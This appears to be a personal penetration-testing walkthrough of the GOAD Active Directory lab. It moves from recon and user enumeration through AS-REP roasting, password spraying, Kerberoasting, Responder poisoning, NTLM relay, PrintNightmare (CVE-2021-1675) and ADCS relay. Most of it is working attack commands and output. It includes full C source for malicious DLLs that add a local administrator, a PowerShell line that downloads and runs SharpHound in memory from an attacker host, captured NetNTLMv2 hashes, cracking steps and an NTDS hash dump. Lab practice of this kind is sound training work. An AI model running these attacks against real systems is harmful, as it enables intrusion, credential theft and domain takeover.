# π§ͺ Lab info

## π₯οΈ Hosts
| IP | Name | Hostname | Domain |
| :----------: | :---: | :----------: | :-----------------------: |
| 192.168.X.10 | dc01 | kingslanding | sevenkingdoms.local |
| 192.168.X.11 | dc02 | winterfell | north.sevenkingdoms.local |
| 192.168.X.12 | dc03 | meereen | essos.local |
| 192.168.X.22 | srv02 | castelblack | north.sevenkingdoms.local |
| 192.168.X.23 | srv03 | braavos | essos.local |
| 192.168.X.31 | ws01 | casterlyrock | sevenkingdoms.local |
### π Hosts file
:::info
To use kerberos we need add DNS in `/etc/hosts` file, mandatory for Kerberos (FQDN resolution)
:::
You can generate hosts file with `netexec`
```bash
netexec smb 192.168.X.0/24 --generate-hosts-file hosts_file
```
```txt
192.168.200.10 kingslanding sevenkingdoms.local kingslanding.sevenkingdoms.local
192.168.200.11 winterfell north.sevenkingdoms.local winterfell.north.sevenkingdoms.local
192.168.200.12 meereen essos.local meereen.essos.local
192.168.200.22 castelblack castelblack.north.sevenkingdoms.local
192.168.200.23 braavos braavos.essos.local
192.168.200.31 casterlyrock casterlyrock.sevenkingdoms.local
```
## π Credentials
| User | Password | Host | Domain | Comments |
| :-----------: | :------------: | :--------: | :-----------------------: | :-----------------------------------------: |
| samwell.tarly | Heartsbane | winterfell | north.sevenkingdoms.local | SMB Enumeration users on winterfell |
| brandon.stark | iseedeadpeople | winterfell | north.sevenkingdoms.local | ASREP Roasting on north.sevenkingdoms.local |
| hodor | hodor | winterfell | north.sevenkingdoms.local | Password spraying on winterfell |
| jon.snow | iknownothing | winterfell | north.sevenkingdoms.local | Kerberoasting on north.sevenkingdoms.local |
| robb.stark | sexywolfy | winterfell | north.sevenkingdoms.local | Poisoning and cracking hash |
# π Recon
## π΅ SMB recon with netexec
```bash
netexec smb 192.168.X.0/24
```

:::info
By default, Microsoft enables SMB signing on Domain Controllers. In secure environments, SMB signing should be enforced network-wide to prevent NTLM relay attacks.
:::
3 Domains found!!
- sevenkingdoms.local
- north.sevenkingdoms.local
- essos.local
## π΅ All ports scan with Nmap
```bash
sudo nmap -sSV -p- -Pn --open --reason --max-retries 2 --host-timeout 10m --min-rate 500 --scan-delay 50ms --script "vulners,http-title,http-server-header" --script-args vulners.showall=true,http.useragent="Mozilla/5.0",http.pipeline=1 -T3 -oA all_ports_goad -vvv -iL alive
```
[GOAD Open Ports](https://javierolmedo.github.io/assets/files/all_ports_goad.html)
# Finding users
## Anonymous SMB Users enumeration with netexec and anonymous sessions allowed
```
netexec smb 192.168.56.0/24 --users
```

:::success
Found credentials of Samwell Tarly in description field.
`NORTH\samwell.tarly:Heartsbane`
:::
:::info
We were able to enumerate users and groups because `WINTERFELL` allows anonymous connections.
:::
## π· Anonymous SMB Users enumeration without anonymous sessions
### Generate a usernames wordlist from GOT website
The [GOT website](https://www.hbo.com/game-of-thrones/cast-and-crew) contains name and firstname of all actors.

:::info
With the following command we obtain a list `FirstName + LastName` extracted from the HTLM field `aria-label`, we eliminate the special characters, sorted alphabetically without repeating and taking into account that there may be actors without a last name.
:::
```bash
curl -s \
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" \
https://www.hbo.com/game-of-thrones/cast-and-crew \
| grep 'href="/game-of-thrones/cast-and-crew/' \
| grep -o 'aria-label="[^"]*"' \
| cut -d '"' -f 2 \
| sed -E 's/[^a-zA-Z. ]//g' \
| awk '{if(NF == 2) {print $1" "$2} else {print $1}}' \
| sort -u > got_website_usernames.txt
```
```
Archmaester Ebrose
Arya Stark
Balon Greyjoy
...
...
Viserys Targaryen
Yara Greyjoy
Ygritte
```
The following code is a modification of [Namemash script](https://github.com/krlsio/python/blob/main/namemash.py) to be able to generate users only with the first name, without last name.
```python
import sys
import os.path
def generate_usernames(name):
"""Generates a list of possible usernames from a given name.
Args:
name: The name (full name or single name) to generate usernames from.
Returns:
A list of generated usernames.
"""
lowercase_name = name.lower().strip()
tokens = lowercase_name.split()
usernames = []
if len(tokens) == 1: # Handle single-name user
# Use the single name and its variations for usernames
usernames.append(lowercase_name)
else:
# Assume traditional first and last name for multiple tokens
first_name, last_name = tokens[0], ' '.join(tokens[1:])
# Generate usernames using different combinations of first and last name
usernames.append(first_name + last_name)
usernames.append(last_name + first_name)
usernames.append(first_name + '.' + last_name)
usernames.append(last_name + '.' + first_name)
usernames.append(last_name + first_name[0])
usernames.append(first_name[0] + last_name)
usernames.append(last_name[0] + first_name)
usernames.append(first_name[0] + '.' + last_name)
usernames.append(last_name[0] + '.' + first_name)
usernames.append(first_name)
usernames.append(last_name)
return usernames
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f'usage: {sys.argv[0]} names.txt')
sys.exit(0)
if not os.path.exists(sys.argv[1]):
print(f'{sys.argv[1]} not found')
sys.exit(0)
with open(sys.argv[1]) as f:
for line in f:
name = line.strip()
usernames = generate_usernames(name)
for username in usernames:
print(username)
```
```bash
python namemash.py got_website_usernames.txt > possible_usernames.txt
```
```
alliserthorne
thornealliser
alliser.thorne
thorne.alliser
thornea
...
...
y.greyjoy
g.yara
yara
greyjoy
ygritte
```
### Nmap Username Enumeration without anonymous session
#### kingslanding
```bash
sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=possible_usernames.txt" kingslanding
```

Found 7 users in `sevenkingdoms.local` domain.
#### meereen
```bash
sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=possible_usernames.txt" meereen
```

Found 5 users in `essos.local` domain.
# ASREP Roasting
I create a `north_users.txt` with all usernames previously found.
```
arya.stark
brandon.stark
hodor
jeor.mormont
jon.snow
rickon.stark
samwell.tarly
sansa.stark
sql_svc
```
```bash
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile north_users.txt
```

```bash
hashcat -m 18200 brandon_stark.hash /usr/share/wordlists/rockyou.txt
```
:::success
Found `NORTH\brandon.stark:iseedeadpeople` credentials.
:::
# Password Spraying
:::danger
This technique can block users
:::
## View password policy
```
crackmapexec smb winterfell --pass-pol
```

The password policy show us that if we **fail 5 times in 5 minutes** we lock the accounts for 5 minutes.
## View Bad Password Count
:::info
We need any user credentials
:::
```
crackmapexec smb -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local winterfell --users
```

## Spraying username=password
```
crackmapexec smb winterfell -u north_users.txt -p north_users.txt --no-bruteforce
```

:::success
Found `NORTH\hodor:hodor` credentials.
:::
# Domain Enumeration
## Get Domain Usernames
### Getting usernames from north.sevenkingdoms.local domain
```bash
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```

### Getting usernames from sevenkingdoms.local domain
:::info
We can request users from sevenkingdoms.local domain because there is a trust present.
:::
```bash
ldapsearch -H ldap://kingslanding -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:'
```

### Getting usernames from essos.local domain
:::danger
We have no credentials to list this domain, at the moment. π
:::
## BloodHound
:::danger
DO NOT USE bloodhound.py
:::
### RDP Brandon Strak - Winterfell
```bash
xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:brandon.stark /p:iseedeadpeople /d:north /v:winterfell
```
### Enumerate domains
```powershell
# Execute BloodHound in memory
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.100.223/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("--collectionmethods All --domain north.sevenkingdoms.local --searchforest true --outputdirectory c:\users\public\ --zipfilename bh_north_sevenkingdoms.zip".Split())
```

:::info
Enumerate too **sevenkingdoms.local** and **essos.local** domains.
:::
### Custom queries
#### All domains and computers
```bash
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
```

#### All domains and users
```bash
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
```

#### All domains, computers, groups and users
```bash!
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
```

#### View ACL users
```bash
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
```

#### List All users and setting pwned!
```bash
Match (n:User) RETURN n
```

# Kerberoasting
:::info
Search users with SPN (Server Principal Name) enabled.
:::
## Impacket
```bash
GetUserSPNs.py -request -dc-ip winterfell north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
```
## Crackmapexec
```bash
crackmapexec ldap winterfell -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting kerberoasting.hashes
```

## Cracking kerberoasting.hashes with hashcat
```bash
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force
```
:::success
Found `NORTH/jon.snow:iknownothing` credentials.
:::
# Relay and Poisoning
## Responder
In the lab, there are **two bots** to simulate **LLMRN**, **MDNS** and **NBT-NS** requests. One user has a weak password but no admin right. Another user has admin rights but uses a strong password.
```bash
sudo python3 Responder.py -I vboxnet0 # Wait 5 minutes
```


```
robb.stark::NORTH:1122334455667788:138B29A14C5A082F19F946BB3AFF537E:01010000000000000090C5E56494D801E5D2F5789054B95D0000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:1122334455667788:76E26250ABF96A09E68ADC5A9B1A4C29:01010000000000000090C5E56494D801CA05EDDA86BE30280000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
```
The bot try to make a smb connection to **bravos instead of braavos**. The DNS doesnβt know bravos without two βaβ so by default windows will send a broadcast request to find the associated computer. With responder we answer to that broadcast query and say that this server is us, and so we get the connection from the user.
:::warning
The NetNTLM hashes are not usable to do pass the hash, but you can crack them to retrieve the password.
:::
Cracking with hashcat
```bash
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

:::success
Found credentials of Robb Stark when cracking hash.
`NORTH\robb.stark:sexywolfy`
:::
With Robb Stark we **pwned NORTH domain**, is an Administrator of Winterfell (North DC).

## NTLM Relay
### Unsigned SMB
```bash
netexec smb 192.168.56.0/24 --gen-relay-list relay_hosts.txt
```


Now we have a list of computer with `signing:False`
### Responder + NTLMRelayx - SMB
Before starting **Responder** to poison the answer to **LLMNR**, **MDNS** and **NBT-NS** request we must **stop the responder SMB and HTTP Server** as we donβt want to get the hashes directly but we want to relay them to NTLMRelayx.
```bash
sed -i 's/HTTP = On/HTTP = Off/g' ~/Responder/Responder.conf && cat ~/Responder/Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' ~/Responder/Responder.conf && cat ~/Responder/Responder.conf | grep --color=never 'SMB ='
```
Start Responder (check if HTTP and SMB is OFF)
```bash
sudo python3 Responder.py -I vboxnet0
```

Start NTLMRelayx
```bash
impacket.ntlmrelayx -tf relay_targets.txt -of netntlm -smb2support -socks
```
- `-tf` : list of targets to relay the authentication
- `-of` : output file, this will keep the captured smb hashes just like we did before with responder, to crack them later
- `-smb2support` : support for smb2
- `-socks` : will start a socks proxy to use relayed authentication
:::danger
If you get a error of jinja2, try:
`pip3 install Flask Jinja2 --upgrade`
:::
The poisoned connections are relayed to castelblack (192.168.56.22) and essos (192.168.56.23) and a socks proxy is setup to use the connection.
As **eddard.stark** is a **domain administrator of north.sevenkingdoms.local** he got administrator privileges on **castelback**.
Now we can use this relay to get an access to the computer as an administrator.
### MITM6 + NTLMRelayx - LDAP
(Pending)
# Domain Enum with credentials
Check MachineAccountQuota (by default any user can create 10)
```bash
netexec ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M maq
```

1. Add new computer
```bash
impacket-addcomputer -computer-name 'samaccountname$' -computer-pass '1Qwerty(' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
```

2. Delete SPN
```bash
python ./krbrelayx/addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
```

3. Change name machine
```bash
python ./krbrelayx/renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
```
(Pending...)
## PrintNightmare
```bash
netexec smb 192.168.56.0/24 -M spooler
```

```bash
impacket-rpcdump 192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
```

### Prepare malicious dll
**nightmare.c**
```csharp
#include <windows.h>
int RunCMD()
{
system("net users jolmedo 1Qwerty! /add");
system("net localgroup administrators jolmedo /add");
system ("net localgroup \"Remote Desktop Users\" jolmedo /add");
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Compile
```bash
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
```
```bash
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support
```
Download and execute exploit
```bash
git clone https://github.com/cube0x0/CVE-2021-1675
```
```bash
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.100.223\smb\nightmare.dll'
```

Testing new user
```bash
xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /v:meeren
```
```bash
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.100.223\smb\nightmare.dll'
```
```bash
xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /v:meeren
```
### Exploit Windows Server 2019 - Winterfell
The above exploit works but does not add the user to the admin group because it is caught by Windows Defender.
https://github.com/newsoft/adduser
**adduser.c**
```c
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("jolmedo"); // username
ud.usri1_password = _T("1Qwerty!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
```
```bash
x86_64-w64-mingw32-gcc -shared -o nightmare.dll adduser.c -lnetapi32
```
```bash
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support
```
```bash
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.100.223\smb\nightmare.dll'
```

Dumping all hashes
```bash
netexec smb winterfell.north.sevenkingdoms.local -u jolmedo -p '1Qwerty!' -M ntdsutil
```

#### Don't forget to clean π§Ή
Connect RDP
```bash
xfreerdp /compression /clipboard /dynamic-resolution /toggle-fullscreen /cert-ignore /tls-seclevel:0 /timeout:80000 /bpp:8 /drive:/home/jolmedo/tmp /auto-reconnect /u:jolmedo /p:1Qwerty! /d:north /v:winterfell
```
You will find your dlls inside:
- `C:\Windows\System32\spool\drivers\x64\3`
- `C:\Windows\System32\spool\drivers\x64\3\Old\{id}\`

# ADCS
```bash
ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```
https://github.com/topotam/PetitPotam
```bash
python petitpotam.py 192.168.100.223 meereen.essos.local
```
:::warning
This attack not works on update AD
:::